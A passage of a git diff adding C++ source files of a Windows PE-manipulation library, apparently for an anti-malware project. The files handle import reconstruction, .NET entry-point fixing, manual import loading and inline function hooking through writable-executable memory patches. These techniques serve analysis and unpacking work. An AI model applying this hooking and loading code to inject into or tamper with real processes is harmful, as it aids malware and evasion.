static_cast((ULONG_PTR)call_via - (ULONG_PTR)this->modulePtr); +#ifdef _DEBUG + std::cout << "via RVA: " << std::hex << call_via_rva << " : "; +#endif + bool is_by_ord = (desc->u1.Ordinal & ordinal_flag) != 0; + if (!is_by_ord) { + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((ULONGLONG)modulePtr + desc->u1.AddressOfData); + LPSTR func_name = reinterpret_cast(by_name->Name); +#ifdef _DEBUG + std::cout << "name: " << func_name << std::endl; +#endif + nameToAddr[func_name] = call_via_rva; + } + return true; + } + + std::map &nameToAddr; +}; + +DWORD find_corexemain(BYTE *buf, size_t buf_size) +{ + std::map name_to_addr; + ListImportNames callback(buf, buf_size, name_to_addr); + if (!peconv::process_import_table(buf, buf_size, &callback)) return 0; + + std::map::iterator found = name_to_addr.find("_CorExeMain"); + if (found != name_to_addr.end()) return found->second; + + found = name_to_addr.find("_CorDllMain"); + if (found != name_to_addr.end()) return found->second; + + return 0; +} + +BYTE* search_jump(BYTE *buf, size_t buf_size, const DWORD cor_exe_main_thunk, const ULONGLONG img_base) +{ + // search the jump pattern, i.e.: + //JMP DWORD NEAR [0X402000] : FF 25 00204000 + const size_t jmp_size = 2; + const BYTE jmp_pattern[jmp_size] = { 0xFF, 0x25 }; + + const size_t arg_size = sizeof(DWORD); + if ((jmp_size + arg_size) > buf_size) { + return nullptr; + } + const size_t end_offset = buf_size - (jmp_size + arg_size); + + for (size_t i = end_offset; // search backwards + (i + 1) != 0; // this is unsigned comparison, so we cannot do: i >= 0 + i--) // go back by one BYTE + { + if (buf[i] == jmp_pattern[0] && buf[i + 1] == jmp_pattern[1]) { // JMP + DWORD* addr = (DWORD*)(&buf[i + jmp_size]); + DWORD rva = static_cast((*addr) - img_base); + if (rva == cor_exe_main_thunk) { +#ifdef _DEBUG + std::cout << "Found call to _CorExeMain\n"; +#endif + return buf + i; + } + else { + std::cout << "[!] Mismatch: " << std::hex << rva << " vs _CorExeMain: " << cor_exe_main_thunk << std::endl; + } + } + } + return nullptr; +} + +bool fix_dot_net_ep(BYTE *pe_buffer, size_t pe_buffer_size) +{ + if (!pe_buffer) return false; + + if (peconv::is64bit(pe_buffer)) { + //64bit .NET files have EP=0 + peconv::update_entry_point_rva(pe_buffer, 0); + return true; + } + + DWORD ep_rva = peconv::get_entry_point_rva(pe_buffer); + std::cout << "[*] This is a .NET payload and may require Enty Point corection. Current EP: " << std::hex << ep_rva << "\n"; + + PIMAGE_SECTION_HEADER sec_hdr = peconv::get_section_hdr(pe_buffer, pe_buffer_size, 0); + if (!sec_hdr) return false; + + BYTE *sec_ptr = pe_buffer + sec_hdr->VirtualAddress; + if (!peconv::validate_ptr(pe_buffer, pe_buffer_size, sec_ptr, sec_hdr->SizeOfRawData)) { + return false; + } + ULONGLONG img_base = peconv::get_image_base(pe_buffer); + DWORD cor_exe_main_thunk = find_corexemain(pe_buffer, pe_buffer_size); + if (!cor_exe_main_thunk) { + return false; + } + BYTE* jump_ptr = search_jump(sec_ptr, sec_hdr->SizeOfRawData, cor_exe_main_thunk, img_base); + if (jump_ptr == nullptr) return false; + + size_t offset = jump_ptr - pe_buffer; + peconv::update_entry_point_rva(pe_buffer, static_cast(offset)); + std::cout << "[*] Found possible Entry Point: " << std::hex << offset << std::endl; + return true; +} + +bool is_dot_net(BYTE *pe_buffer, size_t pe_buffer_size) +{ + if (!pe_buffer) return false; + + IMAGE_DATA_DIRECTORY* dotnet_ptr = peconv::get_directory_entry(pe_buffer, IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR, false); + if (!dotnet_ptr) return false; + + if (peconv::get_dotnet_hdr(pe_buffer, pe_buffer_size, dotnet_ptr)) { + return true; + } + return false; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.h b/ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.h new file mode 100644 index 0000000..a7386b8 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.h @@ -0,0 +1,8 @@ +#pragma once + +#include + +bool fix_dot_net_ep(BYTE *pe_buffer, size_t pe_buffer_size); +bool is_dot_net(BYTE *pe_buffer, size_t pe_buffer_size); + +BYTE* search_jump(BYTE *buf, size_t buf_size, const DWORD cor_exe_main_thunk, const ULONGLONG img_base); diff --git a/ai_anti_malware/libpeconv/libpeconv/src/fix_imports.cpp b/ai_anti_malware/libpeconv/libpeconv/src/fix_imports.cpp new file mode 100644 index 0000000..230b696 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/fix_imports.cpp @@ -0,0 +1,306 @@ +#include "peconv/fix_imports.h" +#include "peconv/imports_uneraser.h" +#include "peconv/file_util.h" + +#include +#include + +using namespace peconv; + +template +size_t find_addresses_to_fill(FIELD_T call_via, FIELD_T thunk_addr, LPVOID modulePtr, size_t moduleSize, IN const peconv::ExportsMapper& exportsMap, OUT std::set &addresses) +{ + size_t addrCounter = 0; + do { + LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via); + if (call_via_ptr == nullptr) break; + + LPVOID thunk_ptr = (LPVOID)((ULONGLONG)modulePtr + thunk_addr); + if (thunk_ptr == nullptr) break; + + if (!validate_ptr(modulePtr, moduleSize, thunk_ptr, sizeof(FIELD_T))) { + break; + } + if (!validate_ptr(modulePtr, moduleSize, call_via_ptr, sizeof(FIELD_T))) { + break; + } + FIELD_T *thunk_val = reinterpret_cast(thunk_ptr); + FIELD_T *call_via_val = reinterpret_cast(call_via_ptr); + if (*call_via_val == 0) { + //nothing to fill, probably the last record + break; + } + + ULONGLONG searchedAddr = ULONGLONG(*call_via_val); + if (exportsMap.find_export_by_va(searchedAddr) != nullptr) { + addresses.insert(searchedAddr); + addrCounter++; + } + //--- + call_via += sizeof(FIELD_T); + thunk_addr += sizeof(FIELD_T); + } while (true); + + return addrCounter; +} + +std::set get_all_dlls_exporting_function(ULONGLONG func_addr, const peconv::ExportsMapper& exportsMap) +{ + std::set currDllNames; + //1. Get all the functions from all accessible DLLs that correspond to this address: + const std::set* exports_for_va = exportsMap.find_exports_by_va(func_addr); + if (!exports_for_va) { + std::cerr << "Cannot find any DLL exporting: " << std::hex << func_addr << std::endl; + return currDllNames; //empty + } + //2. Iterate through their DLL names and add them to a set: + for (std::set::iterator strItr = exports_for_va->begin(); + strItr != exports_for_va->end(); + ++strItr) + { + currDllNames.insert(strItr->libName); + } + return currDllNames; +} + +std::set get_dlls_intersection(const std::set &dllNames, const std::set &currDllNames) +{ + std::set resultSet; + std::set_intersection(dllNames.begin(), dllNames.end(), + currDllNames.begin(), currDllNames.end(), + std::inserter(resultSet, resultSet.begin()) + ); + return resultSet; +} + +//find the name of the DLL that can cover all the addresses of imported functions +std::string find_covering_dll(std::set &addresses, const peconv::ExportsMapper& exportsMap) +{ + std::set mainDllsSet; + std::set reserveDllSet; + bool isFresh = true; + + // the earliest addresses are more significant for the final decision on what DLL to choose + // so, they should be processed at the end + std::set::iterator addrItr; + + for (addrItr = addresses.begin(); addrItr != addresses.end(); ++addrItr) { + ULONGLONG searchedAddr = *addrItr; + //--- + // 1. Find all the DLLs exporting this particular function (can be forwarded etc) + std::set currDllNames = get_all_dlls_exporting_function(searchedAddr, exportsMap); + + //2. Which of those DLLs covers also previous functions from this series? + if (isFresh) { + //if no other function was processed before, set the current DLL set as the total set + mainDllsSet = currDllNames; + isFresh = false; + continue; + } + // find the intersection between the total set and the current set + std::set resultSet = get_dlls_intersection(mainDllsSet, currDllNames); + if (resultSet.size() > 0) { + //found intersection, overwrite the main set + mainDllsSet = resultSet; + continue; + } + // if no intersection found in the main set, check if there is any in the reserved set: + resultSet = get_dlls_intersection(reserveDllSet, currDllNames); + if (resultSet.size() > 0) { + //found intersection, overwrite the main set + reserveDllSet = mainDllsSet; // move the current to the reserve + mainDllsSet = resultSet; + continue; + } + // no intersection found with any of the sets: + reserveDllSet = currDllNames; //set is as a reserved DLL: to be used if it will reoccur + } + if (mainDllsSet.size() > 0) { + const std::string main_dll = *(mainDllsSet.begin()); + return main_dll; + } + return ""; +} + +bool ImportedDllCoverage::findCoveringDll() +{ + std::string found_name = find_covering_dll(this->addresses, this->exportsMap); + if (found_name.length() == 0) { +#ifdef _DEBUG + std::cerr << "Cannot find a covering DLL" << std::endl; +#endif + return false; + } + this->dllName = found_name; +#ifdef _DEBUG + std::cout << "[+] Found DLL name: " << found_name << std::endl; +#endif + return true; +} + +size_t map_addresses_to_functions(std::set &addresses, + IN const std::string &chosenDll, + IN const peconv::ExportsMapper& exportsMap, + OUT std::map> &addr_to_func, + OUT std::set ¬_found +) +{ + std::set coveredAddresses; + std::set::iterator addrItr; + for (addrItr = addresses.begin(); addrItr != addresses.end(); ++addrItr) { + + ULONGLONG searchedAddr = *addrItr; + + const std::set* exports_for_va = exportsMap.find_exports_by_va(searchedAddr); + if (exports_for_va == nullptr) { + not_found.insert(searchedAddr); +#ifdef _DEBUG + std::cerr << "Cannot find any DLL exporting: " << std::hex << searchedAddr << std::endl; +#endif + continue; + } + + for (std::set::iterator strItr = exports_for_va->begin(); + strItr != exports_for_va->end(); + ++strItr) + { + std::string dll_name = strItr->libName; + if (dll_name != chosenDll) { + continue; + } + ExportedFunc func = *strItr; + addr_to_func[searchedAddr].insert(func); + coveredAddresses.insert(searchedAddr); + } + if (addr_to_func.find(searchedAddr) == addr_to_func.end()) { + const ExportedFunc* func = exportsMap.find_export_by_va(searchedAddr); + not_found.insert(searchedAddr); +#ifdef _DEBUG + std::cerr << "[WARNING] A function: " << func->toString() << " not found in the covering DLL: " << chosenDll << std::endl; +#endif + } + } + return coveredAddresses.size(); +} + +size_t ImportedDllCoverage::mapAddressesToFunctions(const std::string &dll) +{ + //reset all stored info: + this->mappedDllName = dll; + if (this->addrToFunc.size() > 0) { + this->addrToFunc.clear(); + } + this->notFound.clear(); + + const size_t coveredCount = map_addresses_to_functions(this->addresses, dll, this->exportsMap, this->addrToFunc, this->notFound); +#ifdef _DEBUG + if (notFound.size()) { + std::cout << "[-] Not all addresses are covered! Not found: " << std::dec << notFound.size() << std::endl; + } else { + + std::cout << "All covered!" << std::endl; + } +#endif + return coveredCount; +} + +void ImpsNotCovered::insert(ULONGLONG thunk, ULONGLONG searchedAddr) +{ +#ifdef _DEBUG + std::cerr << "[-] Function not recovered: [" << std::hex << searchedAddr << "] " << std::endl; +#endif + thunkToAddr[thunk] = searchedAddr; +} + + +bool peconv::fix_imports(IN OUT PVOID modulePtr, IN size_t moduleSize, IN const peconv::ExportsMapper& exportsMap, OUT OPTIONAL peconv::ImpsNotCovered* notCovered) +{ + bool skip_bound = false; // skip boud imports? + IMAGE_DATA_DIRECTORY *importsDir = peconv::get_directory_entry((const BYTE*) modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (importsDir == NULL) { + return true; // done! no imports -> nothing to fix + } + bool is64 = peconv::is64bit((BYTE*)modulePtr); + DWORD maxSize = importsDir->Size; + DWORD impAddr = importsDir->VirtualAddress; + + IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; + DWORD parsedSize = 0; +#ifdef _DEBUG + printf("---IMP---\n"); +#endif + + while (parsedSize < maxSize) { + + lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR) modulePtr); + if (!validate_ptr(modulePtr, moduleSize, lib_desc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) { + printf("[-] Invalid descriptor pointer!\n"); + return false; + } + parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR); + if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) { + break; + } + const bool is_bound = (lib_desc->TimeDateStamp == (-1)); + if (is_bound && skip_bound) { + continue; + } +#ifdef _DEBUG + printf("Imported Lib: %x : %x : %x\n", lib_desc->FirstThunk, lib_desc->OriginalFirstThunk, lib_desc->Name); +#endif + + std::string lib_name = ""; + if (lib_desc->Name != 0) { + LPSTR name_ptr = (LPSTR)((ULONGLONG) modulePtr + lib_desc->Name); + if (validate_ptr(modulePtr, moduleSize, name_ptr, sizeof(char) * MIN_DLL_LEN)) { + lib_name = (LPSTR)((ULONGLONG) modulePtr + lib_desc->Name); + } + } + + DWORD call_via = lib_desc->FirstThunk; + DWORD thunk_addr = lib_desc->OriginalFirstThunk; // warning: it can be NULL! + std::set addresses; + if (!is64) { + find_addresses_to_fill(call_via, thunk_addr, modulePtr, moduleSize, exportsMap, addresses); + } else { + find_addresses_to_fill(call_via, thunk_addr, modulePtr, moduleSize, exportsMap, addresses); + } + ImportedDllCoverage dllCoverage(addresses, exportsMap); + bool is_all_covered = dllCoverage.findCoveringDll(); + bool is_lib_erased = false; + + lib_name = get_dll_shortname(lib_name); //without extension + + if (lib_name.length() == 0) { + is_lib_erased = true; + if (is_all_covered) { + // set a name of the covering DLL: + lib_name = dllCoverage.dllName; + } + } + if (lib_name.length() == 0) { + //could not find a relevant DLL + continue; + } +#ifdef _DEBUG + std::cout << lib_name << std::endl; +#endif + if (!dllCoverage.mapAddressesToFunctions(lib_name)) { + // cannot find any functions imported from this DLL + continue; + } + //everything mapped, now recover it: + ImportsUneraser impUneraser(modulePtr, moduleSize); + if (!impUneraser.uneraseDllImports(lib_desc, dllCoverage, notCovered)) { + return false; + } + if (is_lib_erased) { + const std::string dll_with_ext = exportsMap.get_dll_fullname(dllCoverage.dllName); + impUneraser.uneraseDllName(lib_desc, dll_with_ext); + } + } +#ifdef _DEBUG + std::cout << "---------" << std::endl; +#endif + return true; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/function_resolver.cpp b/ai_anti_malware/libpeconv/libpeconv/src/function_resolver.cpp new file mode 100644 index 0000000..93b9fa3 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/function_resolver.cpp @@ -0,0 +1,18 @@ +#include "peconv/function_resolver.h" + +#include + +FARPROC peconv::default_func_resolver::resolve_func(LPSTR lib_name, LPSTR func_name) +{ + HMODULE libBasePtr = LoadLibraryA(lib_name); + if (libBasePtr == NULL) { + std::cerr << "Could not load the library!" << std::endl; + return NULL; + } + FARPROC hProc = GetProcAddress(libBasePtr, func_name); + if (hProc == NULL) { + std::cerr << "Could not load the function!" << std::endl; + return NULL; + } + return hProc; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/hooks.cpp b/ai_anti_malware/libpeconv/libpeconv/src/hooks.cpp new file mode 100644 index 0000000..831920c --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/hooks.cpp @@ -0,0 +1,224 @@ +#include "peconv/hooks.h" +#include "peconv.h" +#include "peconv/peb_lookup.h" + +using namespace peconv; + +namespace peconv { + + bool is_pointer_in_ntdll(LPVOID lpAddress) + { + HMODULE mod = peconv::get_module_via_peb((LPWSTR)L"ntdll.dll"); + size_t module_size = peconv::get_module_size_via_peb(mod); + if (peconv::validate_ptr(mod, module_size, lpAddress, sizeof(BYTE))) { + return true; //this address lies within NTDLL + } + return false; + } + + BOOL nt_protect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) + { + FARPROC proc = peconv::get_exported_func( + peconv::get_module_via_peb((LPWSTR)L"ntdll.dll"), + (LPSTR)"NtProtectVirtualMemory" + ); + if (!proc) { + return FALSE; + } + NTSTATUS(NTAPI *_NtProtectVirtualMemory)( + IN HANDLE, + IN OUT PVOID*, + IN OUT PSIZE_T, + IN DWORD, + OUT PDWORD) = + (NTSTATUS(NTAPI *)( + IN HANDLE, + IN OUT PVOID*, + IN OUT PSIZE_T, + IN DWORD, + OUT PDWORD)) proc; + + SIZE_T protect_size = dwSize; + NTSTATUS status = _NtProtectVirtualMemory(GetCurrentProcess(), &lpAddress, &protect_size, flNewProtect, lpflOldProtect); + if (status != S_OK) { + return FALSE; + } + return TRUE; + } +}; + +bool PatchBackup::makeBackup(BYTE *patch_ptr, size_t patch_size) +{ + if (!patch_ptr) { + return false; + } + deleteBackup(); + this->sourcePtr = patch_ptr; + this->buffer = new BYTE[patch_size]; + this->bufferSize = patch_size; + + memcpy(buffer, patch_ptr, patch_size); + return true; +} + +bool PatchBackup::applyBackup() +{ + if (!isBackup()) { + return false; + } + DWORD oldProtect = 0; + if (!nt_protect((LPVOID)sourcePtr, bufferSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { + return false; + } + memcpy(sourcePtr, buffer, bufferSize); + nt_protect((LPVOID)sourcePtr, bufferSize, oldProtect, &oldProtect); + + //flush cache: + FlushInstructionCache(GetCurrentProcess(), sourcePtr, bufferSize); + return true; +} + +FARPROC peconv::hooking_func_resolver::resolve_func(LPSTR lib_name, LPSTR func_name) +{ + //the name may be ordinal rather than string, so check if it is a valid pointer: + if (!IsBadReadPtr(func_name, 1)) { + std::map::iterator itr = hooks_map.find(func_name); + if (itr != hooks_map.end()) { + FARPROC hook = itr->second; +#ifdef _DEBUG + std::cout << ">>>>>>Replacing: " << func_name << " by: " << hook << std::endl; +#endif + return hook; + } + } + return peconv::default_func_resolver::resolve_func(lib_name, func_name); +} + +size_t peconv::redirect_to_local64(void *ptr, ULONGLONG new_offset, PatchBackup* backup) +{ + if (!ptr) return 0; + + BYTE hook_64[] = { + 0x48, 0xB8, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xEE, 0xFF, //movabs rax,FFEE998877665544 + 0xFF, 0xE0 //jmp rax + }; + const size_t hook64_size = sizeof(hook_64); + if (is_pointer_in_ntdll(ptr)) { + std::cout << "[WARNING] Patching NTDLL is not allowed because of possible stability issues!\n"; + return 0; + } + DWORD oldProtect = 0; + if (!nt_protect((LPVOID)ptr, + hook64_size, + PAGE_EXECUTE_READWRITE, //this must be executable if we are hooking kernel32.dll, because we are using VirtualProtect from kernel32 at the same time + &oldProtect)) + { + return 0; + } + + if (backup != nullptr) { + backup->makeBackup((BYTE*)ptr, hook64_size); + } + memcpy(hook_64 + 2, &new_offset, sizeof(ULONGLONG)); + memcpy(ptr, hook_64, hook64_size); + + nt_protect((LPVOID)ptr, hook64_size, oldProtect, &oldProtect); + + //flush cache: + FlushInstructionCache(GetCurrentProcess(), ptr, hook64_size); + return hook64_size; +} + +size_t peconv::redirect_to_local32(void *ptr, DWORD new_offset, PatchBackup* backup) +{ + if (!ptr) return 0; + + BYTE hook_32[] = { + 0xB8, 0xCC, 0xDD, 0xEE, 0xFF, // mov eax,FFEEDDCC + 0xFF, 0xE0 //jmp eax + }; + const size_t hook32_size = sizeof(hook_32); + if (is_pointer_in_ntdll(ptr)) { + std::cout << "[WARNING] Patching NTDLL is not allowed because of possible stability issues!\n"; + return 0; + } + DWORD oldProtect = 0; + if (!nt_protect((LPVOID)ptr, + hook32_size, + PAGE_EXECUTE_READWRITE, //this must be executable if we are hooking kernel32.dll, because we are using VirtualProtect from kernel32 at the same time + &oldProtect)) + { + return 0; + } + + if (backup != nullptr) { + backup->makeBackup((BYTE*)ptr, hook32_size); + } + memcpy(hook_32 + 1, &new_offset, sizeof(DWORD)); + memcpy(ptr, hook_32, hook32_size); + + nt_protect((LPVOID)ptr, hook32_size, oldProtect, &oldProtect); + + //flush cache: + FlushInstructionCache(GetCurrentProcess(), ptr, hook32_size); + return hook32_size; +} + +size_t peconv::redirect_to_local(void *ptr, void* new_function_ptr, PatchBackup* backup) +{ +#ifdef _WIN64 + return peconv::redirect_to_local64(ptr, (ULONGLONG)new_function_ptr, backup); +#else + return peconv::redirect_to_local32(ptr, (DWORD)new_function_ptr, backup); +#endif +} + +inline long long int get_jmp_delta(ULONGLONG currVA, int instrLen, ULONGLONG destVA) +{ + long long int diff = destVA - (currVA + instrLen); + return diff; +} + +inline bool is_valid_delta(long long int delta) +{ + DWORD first_dw = delta >> sizeof(DWORD) * 8; + if (first_dw == 0) { + return true; + } + const DWORD max_dword = DWORD(-1); + if (first_dw != max_dword) { + return false; + } + DWORD delta_dw = DWORD(delta); + if (delta_dw & 0x80000000) { + return true; + } + //invalid, sign bit is missing + return false; +} + +bool peconv::replace_target(BYTE *patch_ptr, ULONGLONG dest_addr) +{ + typedef enum { + OP_JMP = 0xE9, + OP_CALL_DWORD = 0xE8 + } t_opcode; + + if (patch_ptr[0] == OP_JMP || patch_ptr[0] == OP_CALL_DWORD) { + ULONGLONG delta = get_jmp_delta(ULONGLONG(patch_ptr), 5, dest_addr); + if (!is_valid_delta(delta)) { +#ifdef _DEBUG + std::cout << "Cannot replace the target: too big delta: " << std::hex << delta << std::endl; +#endif + //too big delta, cannot be saved in a DWORD + return false; + } + DWORD delta_dw = DWORD(delta); + memcpy(patch_ptr + 1, &delta_dw, sizeof(DWORD)); + + //flush cache: + FlushInstructionCache(GetCurrentProcess(), patch_ptr + 1, sizeof(DWORD)); + return true; + } + return false; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/imports_loader.cpp b/ai_anti_malware/libpeconv/libpeconv/src/imports_loader.cpp new file mode 100644 index 0000000..cabba9c --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/imports_loader.cpp @@ -0,0 +1,254 @@ +#include "peconv/imports_loader.h" + +#include + +using namespace peconv; + +class FillImportThunks : public ImportThunksCallback +{ +public: + FillImportThunks(BYTE* _modulePtr, size_t _moduleSize, t_function_resolver* func_resolver) + : ImportThunksCallback(_modulePtr, _moduleSize), funcResolver(func_resolver) + { + } + + virtual bool processThunks(LPSTR lib_name, ULONG_PTR origFirstThunkPtr, ULONG_PTR firstThunkPtr) + { + if (this->is64b) { + IMAGE_THUNK_DATA64* desc = reinterpret_cast(origFirstThunkPtr); + ULONGLONG* call_via = reinterpret_cast(firstThunkPtr); + return processThunks_tpl(lib_name, desc, call_via, IMAGE_ORDINAL_FLAG64); + } + else { + IMAGE_THUNK_DATA32* desc = reinterpret_cast(origFirstThunkPtr); + DWORD* call_via = reinterpret_cast(firstThunkPtr); + return processThunks_tpl(lib_name, desc, call_via, IMAGE_ORDINAL_FLAG32); + } + } + +protected: + template + bool processThunks_tpl(LPSTR lib_name, T_IMAGE_THUNK_DATA* desc, T_FIELD* call_via, T_FIELD ordinal_flag) + { + if (!this->funcResolver) { + return false; + } + + bool is_by_ord = (desc->u1.Ordinal & ordinal_flag) != 0; + + FARPROC hProc = nullptr; + if (is_by_ord) { + + T_FIELD raw_ordinal = desc->u1.Ordinal & (~ordinal_flag); +#ifdef _DEBUG + std::cout << "raw ordinal: " << std::hex << raw_ordinal << std::endl; +#endif + + //hProc = funcResolver->resolve_func(lib_name, MAKEINTRESOURCEA(raw_ordinal)); + return true; + } + else { + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((ULONGLONG)modulePtr + desc->u1.AddressOfData); + LPSTR func_name = reinterpret_cast(by_name->Name); +#ifdef _DEBUG + std::cout << "name: " << func_name << std::endl; +#endif + hProc = this->funcResolver->resolve_func(lib_name, func_name); + } + if (!hProc) { +#ifdef _DEBUG + std::cerr << "Could not resolve the function!" << std::endl; +#endif + return false; + } + (*call_via) = reinterpret_cast(hProc); + return true; + } + + //fields: + t_function_resolver* funcResolver; +}; + + +template +bool process_imp_functions_tpl(BYTE* modulePtr, size_t module_size, LPSTR lib_name, DWORD call_via, DWORD thunk_addr, IN ImportThunksCallback *callback) +{ + bool is_ok = true; + + T_FIELD *thunks = (T_FIELD*)((ULONGLONG)modulePtr + thunk_addr); + T_FIELD *callers = (T_FIELD*)((ULONGLONG)modulePtr + call_via); + + for (size_t index = 0; true; index++) { + if (!validate_ptr(modulePtr, module_size, &callers[index], sizeof(T_FIELD))) { + break; + } + if (!validate_ptr(modulePtr, module_size, &thunks[index], sizeof(T_FIELD))) { + break; + } + if (callers[index] == 0) { + //nothing to fill, probably the last record + return true; + } + LPVOID thunk_ptr = &thunks[index]; + T_IMAGE_THUNK_DATA* desc = reinterpret_cast(thunk_ptr); + if (!validate_ptr(modulePtr, module_size, desc, sizeof(T_IMAGE_THUNK_DATA))) { + break; + } + if (desc->u1.Function == NULL) { + break; + } + T_FIELD ordinal_flag = (sizeof(T_FIELD) == sizeof(ULONGLONG)) ? IMAGE_ORDINAL_FLAG64 : IMAGE_ORDINAL_FLAG32; + bool is_by_ord = (desc->u1.Ordinal & ordinal_flag) != 0; + if (!is_by_ord) { + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((ULONGLONG)modulePtr + desc->u1.AddressOfData); + if (!validate_ptr(modulePtr, module_size, by_name, sizeof(IMAGE_IMPORT_BY_NAME))) { + break; + } + } + //when the callback is called, all the pointers should be already verified + if (!callback->processThunks(lib_name, (ULONG_PTR)&thunks[index], (ULONG_PTR)&callers[index])) { + is_ok = false; + } + } + return is_ok; +} + +//Walk through the table of imported DLLs (starting from the given descriptor) and execute the callback each time when the new record was found +bool process_dlls(BYTE* modulePtr, size_t module_size, IMAGE_IMPORT_DESCRIPTOR *first_desc, IN ImportThunksCallback *callback) +{ + bool isAllFilled = true; +#ifdef _DEBUG + std::cout << "---IMP---" << std::endl; +#endif + const bool is64 = is64bit((BYTE*)modulePtr); + IMAGE_IMPORT_DESCRIPTOR* lib_desc = nullptr; + + for (size_t i = 0; true; i++) { + lib_desc = &first_desc[i]; + if (!validate_ptr(modulePtr, module_size, lib_desc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) { + break; + } + if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) { + break; + } + LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); + if (!peconv::is_valid_import_name(modulePtr, module_size, lib_name)) { + //invalid name + return false; + } + DWORD call_via = lib_desc->FirstThunk; + DWORD thunk_addr = lib_desc->OriginalFirstThunk; + if (thunk_addr == NULL) { + thunk_addr = lib_desc->FirstThunk; + } +#ifdef _DEBUG + std::cout << "Imported Lib: " << std::hex << lib_desc->FirstThunk << " : " << std::hex << lib_desc->OriginalFirstThunk << " : " << lib_desc->Name << std::endl; +#endif + size_t all_solved = false; + if (is64) { + all_solved = process_imp_functions_tpl(modulePtr, module_size, lib_name, call_via, thunk_addr, callback); + } + else { + all_solved = process_imp_functions_tpl(modulePtr, module_size, lib_name, call_via, thunk_addr, callback); + } + if (!all_solved) { + isAllFilled = false; + } + } +#ifdef _DEBUG + printf("---------\n"); +#endif + return isAllFilled; +} + +bool peconv::process_import_table(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ImportThunksCallback *callback) +{ + if (moduleSize == 0) { //if not given, try to fetch + moduleSize = peconv::get_image_size((const BYTE*)modulePtr); + } + if (moduleSize == 0) return false; + + IMAGE_DATA_DIRECTORY *importsDir = get_directory_entry((BYTE*)modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (!importsDir) { + return true; //no import table + } + const DWORD impAddr = importsDir->VirtualAddress; + IMAGE_IMPORT_DESCRIPTOR *first_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + (ULONG_PTR)modulePtr); + if (!peconv::validate_ptr(modulePtr, moduleSize, first_desc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) { + return false; + } + return process_dlls(modulePtr, moduleSize, first_desc, callback); +} + +bool peconv::load_imports(BYTE* modulePtr, t_function_resolver* func_resolver) +{ + size_t moduleSize = peconv::get_image_size((const BYTE*)modulePtr); + if (moduleSize == 0) return false; + + bool is64 = is64bit((BYTE*)modulePtr); + default_func_resolver default_res; + if (!func_resolver) { + func_resolver = (t_function_resolver*)&default_res; + } + + FillImportThunks callback(modulePtr, moduleSize, func_resolver); + return peconv::process_import_table(modulePtr, moduleSize, &callback); +} + +// A valid name must contain printable characters. Empty name is also acceptable (may have been erased) +bool peconv::is_valid_import_name(const PBYTE modulePtr, const size_t moduleSize, LPSTR lib_name) +{ + while (true) { + if (!peconv::validate_ptr(modulePtr, moduleSize, lib_name, sizeof(char))) { + return false; + } + char next_char = *lib_name; + if (next_char == '\0') break; + + if (next_char <= 0x20 || next_char >= 0x7E) { + return false; + } + lib_name++; + } + return true; +} + +bool peconv::has_valid_import_table(const PBYTE modulePtr, size_t moduleSize) +{ + IMAGE_DATA_DIRECTORY *importsDir = get_directory_entry((BYTE*)modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (importsDir == NULL) return false; + + const DWORD impAddr = importsDir->VirtualAddress; + + IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; + DWORD parsedSize = 0; + size_t valid_records = 0; + + while (true) { //size of the import table doesn't matter + lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); + if (!peconv::validate_ptr(modulePtr, moduleSize, lib_desc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) { + return false; + } + parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR); + + if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) { + break; + } + LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); + if (!is_valid_import_name(modulePtr, moduleSize, lib_name)) return false; + + DWORD call_via = lib_desc->FirstThunk; + DWORD thunk_addr = lib_desc->OriginalFirstThunk; + if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; + + DWORD *thunks = (DWORD*)((ULONGLONG)modulePtr + thunk_addr); + if (!peconv::validate_ptr(modulePtr, moduleSize, thunks, sizeof(DWORD))) return false; + + DWORD *callers = (DWORD*)((ULONGLONG)modulePtr + call_via); + if (!peconv::validate_ptr(modulePtr, moduleSize, callers, sizeof(DWORD))) return false; + + valid_records++; + } + + return (valid_records > 0); +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/imports_uneraser.cpp b/ai_anti_malware/libpeconv/libpeconv/src/imports_uneraser.cpp new file mode 100644 index 